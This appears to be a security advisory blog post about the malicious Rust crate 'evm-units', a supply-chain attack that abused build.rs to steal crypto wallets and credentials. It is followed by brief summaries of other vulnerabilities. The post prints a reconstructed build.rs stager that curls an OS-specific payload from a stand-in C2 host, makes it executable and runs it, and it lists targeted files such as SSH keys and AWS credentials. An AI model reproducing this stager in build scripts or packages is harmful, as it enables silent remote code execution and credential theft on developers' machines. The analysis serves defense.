Feb 7, 2026·6 min read·28 visits
A malicious Rust package ('evm-units') infected ~7,400 developer machines by executing malware via the 'build.rs' script during compilation. It targeted Windows, Linux, and macOS systems to steal crypto-wallets and credentials.
For eight months, a malicious Rust crate named 'evm-units' sat quietly on crates.io, masquerading as a harmless utility for Ethereum unit conversion. Behind the scenes, it was a sophisticated supply chain attack targeting Web3 developers. By abusing the Rust build process, it executed cross-platform malware the moment a developer compiled their project, compromising over 7,400 environments before its removal in December 2025.
Let's be honest: nobody wants to write their own unit conversion logic. You're building the next big DeFi protocol, and you need to convert Wei to Ether. You're not going to write that function yourself; you're going to search crates.io. You find evm-units. It sounds authoritative. It sounds useful. It has a nice name. You run cargo add evm-units and move on with your life.
That laziness is exactly what the actor ablerust counted on. Published in mid-April 2025, this crate wasn't just a buggy library; it was a dormant predator. For nearly eight months, it sat in the registry, accumulating over 7,400 downloads. That is 7,400 developers—likely holding SSH keys to production servers or private keys to high-value wallets—who invited a vampire into their living room.
This wasn't a sophisticated buffer overflow or a complex race condition. It was social engineering at the package manager level. The target audience was specific: Web3 developers. Why hack a bank when you can hack the developers building the bank?
Rust is famous for its memory safety. It stops you from shooting yourself in the foot with pointers. However, the Rust ecosystem (via Cargo) has a feature that essentially hands you a loaded shotgun and points it at your face: build scripts (build.rs).
A build.rs file is a Rust script that runs before your package is even compiled. It's meant for legitimate tasks like compiling C dependencies or generating code. But here's the kicker: it runs with the user's privileges on the host machine. You don't even need to run the malicious code in your application. The moment you type cargo build—or even when your IDE auto-indexes dependencies—the code executes.
> [!NOTE]
> This is the 'Remote Code Execution as a Service' feature of modern package managers. NPM has postinstall, Python has setup.py, and Rust has build.rs.
The evm-units crate utilized this mechanism to achieve "Silent Execution." It didn't panic, it didn't print logs, and it didn't break your build. It simply spawned a background process to phone home, leaving the developer completely unaware that their machine had just been Pwned.
While the original source code has been nuked from crates.io, forensic analysis by Socket and XLab allows us to reconstruct the attack vector. The build.rs script acted as a stager. It wasn't the malware itself; it was the doorman opening the backdoor.
The logic was roughly as follows:
Kimwolf campaign.Here is a reconstruction of what that logic looks like in Rust:
// build.rs reconstruction
use std::process::Command;
use std::env;
fn main() {
// 1. Detect OS
let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap();
// 2. Construct Payload URL
let url = match target_os.as_str() {
"windows" => "http://malicious-c2.xyz/payload.exe",
"linux" => "http://malicious-c2.xyz/payload.elf",
"macos" => "http://malicious-c2.xyz/payload.macho",
_ => return, // Silent exit on unsupported OS
};
// 3. Download and Execute (simplified)
// In reality, they used obscure crates or direct socket calls to avoid detection
let _ = Command::new("curl")
.args(&["-s", url, "-o", "/tmp/.evm_update"])
.status();
let _ = Command::new("chmod")
.args(&["+x", "/tmp/.evm_update"])
.status();
// 4. Detach process
Command::new("/tmp/.evm_update")
.spawn()
.expect("Update failed"); // Ironically, 'Update failed' is a great cover
}The actual malware was more obfuscated, likely avoiding direct calls to curl in favor of Rust's std::net to minimize the footprint, but the result is the same: arbitrary binary execution inside your trusted development environment.
Let's walk through the attack chain. You are a developer working on a smart contract deployment script.
evm-units = "0.1.0" to your Cargo.toml.cargo build. Cargo sees the build.rs file in the dependency tree and compiles it first.build.rs binary runs. It detects you are on a MacBook Pro (M1). It downloads the mach-o payload optimized for ARM64.~/.ssh/id_rsa, ~/.aws/credentials, and specifically searches for .json files that look like Ethereum keystores.This happens in seconds. By the time you see "Finished dev [unoptimized] target(s)", your crypto assets are already being queued for transfer by the attackers.
The actor behind this has been linked to the "Kimwolf" campaign. This isn't script-kiddie vandalism; it's financially motivated persistent threat activity. The malware doesn't just steal data once; it often drops a persistent backdoor (like a cron job or a systemd service) to maintain access.
For a Web3 company, the impact is catastrophic:
With 7,400 downloads, the potential blast radius is massive. If even 1% of those downloads were on machines with access to mainnet deployment keys, the losses could be in the millions.
If you find evm-units in your Cargo.lock, do not just remove it. Your machine is compromised. Assume the attackers have a shell. Assume they have your passwords.
Going forward, stop blindly trusting crates. Use tools like cargo-vet to audit dependencies and cargo-deny to block unapproved licenses or crates. Trust, but verify—or better yet, don't trust at all.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
evm-units ablerust (Malicious Actor) | All versions | N/A (Remove) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-506 |
| Attack Vector | Supply Chain / Typosquatting |
| Severity | Critical (Malware) |
| Downloads | ~7,400 |
| Campaign | Kimwolf |
| Platform | Cross-Platform (Windows, Linux, macOS) |
The product contains code that appears to be malicious in nature.
CVE-2024-52011 is a critical command injection vulnerability in the ViteJS launch-editor utility (versions prior to 2.9.0) affecting Windows environments. Unsanitized command-line arguments can lead to remote code execution on a developer workstation via cross-origin requests targeting the local development server.
A critical OS command injection vulnerability exists in Samba's Windows Internet Name Service (WINS) server implementation when configured to run as an Active Directory Domain Controller (AD DC). Unsanitized NetBIOS name data extracted from WINS registration packets is directly concatenated into a shell command invocation and executed via Samba's wins hook parameter.
CVE-2026-41242 is a critical code injection vulnerability in protobufjs. The library compiles custom serialization functions at runtime using the `Function` constructor. Prior to versions 7.5.5 and 8.0.1, dynamic type names were not sanitized, allowing an attacker to inject arbitrary JavaScript via crafted schema definitions, leading to remote code execution.
An architectural flaw in the optional Streamable HTTP transport mode of @agenticmail/mcp allows unauthenticated remote network clients to execute administrative API commands. The server, holding the AGENTICMAIL_MASTER_KEY, functions as a confused deputy, letting attackers run privileged functions like deleting agents and establishing mail relays.
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.